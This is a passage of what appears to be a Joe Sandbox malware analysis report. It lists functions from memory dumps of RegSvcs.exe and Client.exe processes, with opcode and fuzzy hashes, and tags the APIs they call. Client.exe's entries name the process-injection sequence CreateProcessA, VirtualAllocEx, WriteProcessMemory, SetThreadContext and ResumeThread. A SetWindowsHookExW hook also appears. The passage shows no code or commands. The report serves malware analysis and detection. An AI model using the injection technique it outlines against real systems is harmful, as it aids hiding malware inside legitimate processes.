Opcode ID: 98f2c183b771ad7ef742967000f831f5e4a3356cada5daef33e2669665d08b1f
Instruction ID: 1fad1175da44e7a0ae6c3f2459236a414f12f0c1f463d0afb49be8cd2b86c2ca
Opcode Fuzzy Hash: 98f2c183b771ad7ef742967000f831f5e4a3356cada5daef33e2669665d08b1f
Instruction Fuzzy Hash: BB02A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB319EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A76F4 Relevance: 1.8, APIs: 1, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 353ad7a3ee53eb0bbaa8eb84ea429efc8df8d47249275d29142f4a0128276854
Instruction ID: 85715490175c85a602bbcadd35faf67f631146806bdc52474fa32c3e063cfb80
Opcode Fuzzy Hash: 353ad7a3ee53eb0bbaa8eb84ea429efc8df8d47249275d29142f4a0128276854
Instruction Fuzzy Hash: C302A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB319EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7739 Relevance: 1.8, APIs: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2c31dea1a49fb03140845196ed3d0467a7d0b24476bc456d3ad717f03470d920
Instruction ID: 1dc8a17069ed11529cf4b4eed61573db8bfa84d78fb68ff52bceceb244d3753b
Opcode Fuzzy Hash: 2c31dea1a49fb03140845196ed3d0467a7d0b24476bc456d3ad717f03470d920
Instruction Fuzzy Hash: 2602A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A777E Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cad818ed28f89503d75c0104a7ee86d83d8361ab589e3f186e7b0e1941c485a6
Instruction ID: 2098c1b1ca3c36f623822e20ccfed7c54e0d00a688c53d3af8ed402d51de09ee
Opcode Fuzzy Hash: cad818ed28f89503d75c0104a7ee86d83d8361ab589e3f186e7b0e1941c485a6
Instruction Fuzzy Hash: 39F1A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A77C3 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6f50873048b6d7e9b0f4f4ead298c82e07b05f81de84a406f85784aba73d7189
Instruction ID: 743d5d8c50644f613f05587590e04320e3f75c5b0f41062e4af57a8ba3c88cc6
Opcode Fuzzy Hash: 6f50873048b6d7e9b0f4f4ead298c82e07b05f81de84a406f85784aba73d7189
Instruction Fuzzy Hash: 7EF1943490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7808 Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 92b0f7973933ce63dfed712155bf6bbe04a29a915ba7be7d95f008062e6e3ca9
Instruction ID: b42690facdfeba0052101dae40cea2a575a7d5c9d77e98ca40c7d3136403c46c
Opcode Fuzzy Hash: 92b0f7973933ce63dfed712155bf6bbe04a29a915ba7be7d95f008062e6e3ca9
Instruction Fuzzy Hash: 7DF1A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A784D Relevance: 1.8, APIs: 1, Instructions: 296COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c70d81efe0c477ac10a7ee1dee7f16cd7d12aa5c1b38b293908964b7f61d81d4
Instruction ID: 73b300b0c1094852f7b17a8ca5204234aa717452e54e0c08bf9f74ded9ec832b
Opcode Fuzzy Hash: c70d81efe0c477ac10a7ee1dee7f16cd7d12aa5c1b38b293908964b7f61d81d4
Instruction Fuzzy Hash: 82F1A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AAA350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7889 Relevance: 1.8, APIs: 1, Instructions: 291COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 24934fb3969d5f57cc0371c921dc6cdc4180493da4c71b31761be1560b33df34
Instruction ID: 99d9a3a0b5826674e052129cbc6e7a772b576e04ec0855f67294dd56828f27c8
Opcode Fuzzy Hash: 24934fb3969d5f57cc0371c921dc6cdc4180493da4c71b31761be1560b33df34
Instruction Fuzzy Hash: FDE1A43490522CCFCB65DF68C99869DBB72BF4A305F2089EAD40AA6350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A78CE Relevance: 1.8, APIs: 1, Instructions: 284COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1bdae95d0f6635aeb7ed404b01af0811910f0864bffcffe29a77037455eb99cf
Instruction ID: 75517a640b2a79fc3631bc30ac2c299618d79817baedaffc6c133482a4400e8f
Opcode Fuzzy Hash: 1bdae95d0f6635aeb7ed404b01af0811910f0864bffcffe29a77037455eb99cf
Instruction Fuzzy Hash: 19E1A43490522CCFCB65DF78C99869DBB72BF4A305F2089EAD40AAA350DB315E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7913 Relevance: 1.8, APIs: 1, Instructions: 277COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 731bc48c47a16d82ac7cf5e23b1418e2f362830b96551c2c6fad4b008cfc01ad
Instruction ID: d7b1b1565bfc3a7f4ef6d221eb788eb9e9df8da406f1fff76f072fe0421df831
Opcode Fuzzy Hash: 731bc48c47a16d82ac7cf5e23b1418e2f362830b96551c2c6fad4b008cfc01ad
Instruction Fuzzy Hash: 7BE1953491522CCFCB65DF78C99869DBB72BF4A305F2089EAD40AA6350DB315E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005A7958 Relevance: 1.8, APIs: 1, Instructions: 270COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7bfc38974dcc1fa625bfbd94181986417d7fcd7279f01575ec00a685166d762c
Instruction ID: 80c940ba85282ed0cecadc50581001fd7d52799d12f8f1a075b1e01e6482bd0f
Opcode Fuzzy Hash: 7bfc38974dcc1fa625bfbd94181986417d7fcd7279f01575ec00a685166d762c
Instruction Fuzzy Hash: 4CE1A53491522CCFCB65DF74C99869DBB72BF4A305F2089EAD40AAA350DB315E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005A799D Relevance: 1.8, APIs: 1, Instructions: 263COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e70e8df7e12f3b01524ec52580eac503a0c939173918def21b9ff2d0db7a2560
Instruction ID: d308f645813ff1d02c6a1b3244e5a82da2717ef0b1c68f547baeff46ea05f1ac
Opcode Fuzzy Hash: e70e8df7e12f3b01524ec52580eac503a0c939173918def21b9ff2d0db7a2560
Instruction Fuzzy Hash: 47D1A434905228CFCB65DF74C99869DBB72BF4A305F2089EAD40AAA350DB315EC5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005A79E2 Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c88c98aed0ef8c5d23d4a13d2265609d4a9546992f6d029732766114a712c81a
Instruction ID: 5bcf5eb46b5310c7b00f11b0adbf4b21b9e0005f8c7ee0151a64d66223cebd0c
Opcode Fuzzy Hash: c88c98aed0ef8c5d23d4a13d2265609d4a9546992f6d029732766114a712c81a
Instruction Fuzzy Hash: 49D1A534905228CFCB65DF74C99869DBB72BF4A305F2089EAD40AAA350DB315EC5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005A7A27 Relevance: 1.7, APIs: 1, Instructions: 249COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 20d38549ed96d303b87b4f4c03bcfb6736fd6844a343d701d36d9fdc9a07c65f
Instruction ID: 7e8714bea2a39589192739e6674236e65d9368cc4e99dcbbce16e7d88036d694
Opcode Fuzzy Hash: 20d38549ed96d303b87b4f4c03bcfb6736fd6844a343d701d36d9fdc9a07c65f
Instruction Fuzzy Hash: 1AD1A534915228CFCB65DF74C99869DBB72BF4A305F2089EAD40EAA350DB315E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005A7A6C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 526d6871100d3f96e5e9d5872cefcf062b99f153a730ec59985b5b5c70d94cfe
Instruction ID: 3646908570406f16dccdfd6fa0356b67f8ad1188afc09e3e04f5403e8625f258
Opcode Fuzzy Hash: 526d6871100d3f96e5e9d5872cefcf062b99f153a730ec59985b5b5c70d94cfe
Instruction Fuzzy Hash: 19C1A434905228CFCB65DF38C99869DBB72BF4A305F2089EAD40AAA350DB315E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7AB1 Relevance: 1.7, APIs: 1, Instructions: 235COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ebf2441c9ca22a7b813395b8d63ea5b42a5f2b14744bd91087bf496962e9144e
Instruction ID: 1eb2815e9bef2cd3d1ae5a4624a67a0e9128309bdafaf68c20dc112449cd1791
Opcode Fuzzy Hash: ebf2441c9ca22a7b813395b8d63ea5b42a5f2b14744bd91087bf496962e9144e
Instruction Fuzzy Hash: B6C19434915228CFCB65DF38C99869DBB72BF4A305F2089EAD40AAA750DB315E85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00A835C8 Relevance: 1.6, APIs: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00A836D1

Memory Dump Source

Source File: 0000000A.00000002.985543176.0000000000A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a80000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 85cfb7bd788245086bbfd3df9b56dbebe9847fb0f903abcc3fa24b8dd9caa3ac
Instruction ID: 4bb3770bc6edb6f79515d24f81a40dc8d689b538a46cdf80cf4713617ca8bad2
Opcode Fuzzy Hash: 85cfb7bd788245086bbfd3df9b56dbebe9847fb0f903abcc3fa24b8dd9caa3ac
Instruction Fuzzy Hash: 2B4136B1E00249DFCB10DFA9D888ADEBFF5AF48710F15842AE819AB350D7759905CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A80C14 Relevance: 1.6, APIs: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00A836D1

Memory Dump Source

Source File: 0000000A.00000002.985543176.0000000000A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a80000_RegSvcs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 5c79a1886ce3a61616fd7eca0b6014be47a8de66f16af063b86330c361f77450
Instruction ID: 59e810478ebb02033cd9a3599ca752cd2ef4085edc1fdec707c914241a962ac6
Opcode Fuzzy Hash: 5c79a1886ce3a61616fd7eca0b6014be47a8de66f16af063b86330c361f77450
Instruction Fuzzy Hash: 0931D2B1D00258AFCB10DF9AC884A9EFFF5BF48710F15842AE819AB310D7759905CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B036D1 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00B03753

Memory Dump Source

Source File: 0000000A.00000002.985697815.0000000000B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: daef8705ae1978af028c6add12b207c0ad51f82f4bb37ccf2b05e3fb2f3a5f38
Instruction ID: 2c78ed0b98668468b5d65116f22002c69849893ce659496f6c2f234580ccc3eb
Opcode Fuzzy Hash: daef8705ae1978af028c6add12b207c0ad51f82f4bb37ccf2b05e3fb2f3a5f38
Instruction Fuzzy Hash: 382138B5E002098FCB14CF99D848BEEBBF5EB88310F10842AD419A7690C7759944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B036D8 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00B03753

Memory Dump Source

Source File: 0000000A.00000002.985697815.0000000000B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 745815c0792b9947d7fa2711b0d1df137fa56975146957fbb5746cb8bde0640d
Instruction ID: e96f3fc07659c9abd75a5dcad6880242f078db599eab0e0aad67707444ba1b1a
Opcode Fuzzy Hash: 745815c0792b9947d7fa2711b0d1df137fa56975146957fbb5746cb8bde0640d
Instruction Fuzzy Hash: 0B21F7B59002099FCB14CF99D848BEEFBF5EB89314F10842AD459A7650C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 003FD514 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.984686179.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63d9a38a11bf04df359739a77537f3f02d26fce951f79115500143e90eb35b6
Instruction ID: 99ca35d06402bc9911c1f5ee45ae1241a01fa38c90f71e40c350ee3fecd134cb
Opcode Fuzzy Hash: c63d9a38a11bf04df359739a77537f3f02d26fce951f79115500143e90eb35b6
Instruction Fuzzy Hash: DE216D71504248DFCB16DF14D5C8F36BF66FB89318F20C169DA094B206C336D845DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0044E3F0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.984827817.000000000044D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0044D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_44d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534bf23b5ec27b6c00371a804418d4674f3d669d8ea091287012965fb7e4ed56
Instruction ID: 6d95383967396319021ca25d1759d39d51b7b67c53cb7491730f930f6f4e6266
Opcode Fuzzy Hash: 534bf23b5ec27b6c00371a804418d4674f3d669d8ea091287012965fb7e4ed56
Instruction Fuzzy Hash: 8E212970604244DFEB14CF25D9C4B26BB61FB88328F24C96AD9494B346C33BD846CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0044E3C2 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.984827817.000000000044D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0044D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_44d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a25462eeb308c5d919b49cbc733abdc1a1d62b69c7fbff444fc918329978dd3
Instruction ID: d9f198ae6fab767472760589239fcf63d8284813331b0e13626b8db9f1007455
Opcode Fuzzy Hash: 4a25462eeb308c5d919b49cbc733abdc1a1d62b69c7fbff444fc918329978dd3
Instruction Fuzzy Hash: F4214B755093809FDB02CF24D994711BF71AF46314F29C5DBD8888F2A7C33A984ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FD50F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.984686179.00000000003FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 003FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction ID: b0e690a8c03c44d4f09e594528e869d47ba973157034518ee619a5bd80000995
Opcode Fuzzy Hash: 3e0eb5f64e9d98e6057156d14d80c040d3d52ec1448806123a22752ec917bec3
Instruction Fuzzy Hash: 8D11D376404284CFCB16CF14D5C4B2ABF72FB85324F24C5A9D9094B616C33AD95ACBA2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Client.exePID: 1952, Parent PID: 1516COMMON

Execution Graph

Execution Coverage:	37.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00213B1D Relevance: 1.8, APIs: 1, Instructions: 343
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00213E3A

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 8c85688f9d0376a90a8ac13c35274755d0c47de9195af1de369d6e5d21c9b1e7
Instruction ID: addc5e67340a18b926cf63b3b47c0f24d84e2642af6b69ac14d18fc7c6aa45eb
Opcode Fuzzy Hash: 8c85688f9d0376a90a8ac13c35274755d0c47de9195af1de369d6e5d21c9b1e7
Instruction Fuzzy Hash: 72D13770D042198FDB20CFA8C845BEDBBB2BF59314F0095AAE919B7240DB749A95CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00213B28 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00213E3A

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b5daa845afbff00531fe9a2ecd987178182407f6cde14d72d532ee9aaaa9ecf5
Instruction ID: 362fe71ce6640a2c02e9c4fc2aa1f1aafc76336dac8ccdd836a3ec533d6ab209
Opcode Fuzzy Hash: b5daa845afbff00531fe9a2ecd987178182407f6cde14d72d532ee9aaaa9ecf5
Instruction Fuzzy Hash: 80D14770D04219CFDB20CFA8C845BEDBBB2BF59314F0095A9E919B7240DB749A95CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00214658 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00214733

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 72abc899b35409bb612d4d87b828df1cf650a2253a30e397920594f475cceef7
Instruction ID: eaca6a424546ef5fa29c6e4de695a31db4eac6f4e4b5b19c144fc1645fad8578
Opcode Fuzzy Hash: 72abc899b35409bb612d4d87b828df1cf650a2253a30e397920594f475cceef7
Instruction Fuzzy Hash: E541BBB4D012489FCF00DFA9D984AEEFBF1BB4A314F14942AE818B7240D735AA55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00214660 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00214733

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f7f5daebcb01c370253613820ba6f5456aeeb4dce9d55a996323481a6c2c7929
Instruction ID: fdae975815bbcbab260e24edd9cfc2294aa97354b9fac20828bedf1d945d003b
Opcode Fuzzy Hash: f7f5daebcb01c370253613820ba6f5456aeeb4dce9d55a996323481a6c2c7929
Instruction Fuzzy Hash: E741BAB4D012489FCF00DFA9D984AEEFBF1BB49314F20942AE818B7240D734AA55CF64

Uniqueness

Uniqueness Score: -1.00%

Function 002148B1 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00214962

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 53acf65fd37a5573483183c46fd399d6996da8e34c6e78fbe2bae79cbebd13cd
Instruction ID: cf7180898f3264a839f653e738d6ecd673603a96cfa627da4d6243d13f911a79
Opcode Fuzzy Hash: 53acf65fd37a5573483183c46fd399d6996da8e34c6e78fbe2bae79cbebd13cd
Instruction Fuzzy Hash: 4A4197B4D042589FCF10CFA9D884AEEBBB1AB59310F10942AE815B7210D735A955CF55

Uniqueness

Uniqueness Score: -1.00%

Function 002148B8 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00214962

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 99d148687e04a048723fde72b8ca984e13aaf3fc3ee3822952bfbf7a7f2c61aa
Instruction ID: f7c25707727cdf7faa0c36d3bebab0adfabe5c6e423f2ce620f67da65fe0450b
Opcode Fuzzy Hash: 99d148687e04a048723fde72b8ca984e13aaf3fc3ee3822952bfbf7a7f2c61aa
Instruction Fuzzy Hash: 0C31A8B4D042489FCF10CFA9D884AEEFBB1BB59310F10A42AE814B7300D735A955CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00214000 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 002140AF

Memory Dump Source

Source File: 0000000C.00000002.983359439.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_210000_Client.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 57076f8f4449f226417f0a8da1f22be27c489ea1d16e5712d1d1bc8ab4d31799
Instruction ID: 021a0fa735a30edfdf82fbde9783c65c5536bd6e68738bfede89681886c1351a
Opcode Fuzzy Hash: 57076f8f4449f226417f0a8da1f22be27c489ea1d16e5712d1d1bc8ab4d31799
Instruction Fuzzy Hash: CF31DEB4D012589FCB14DFA9D884AEEFBF0BF49314F14842AE408B7240D738A985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 002149D8 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 00214A56

Memory Dump Source

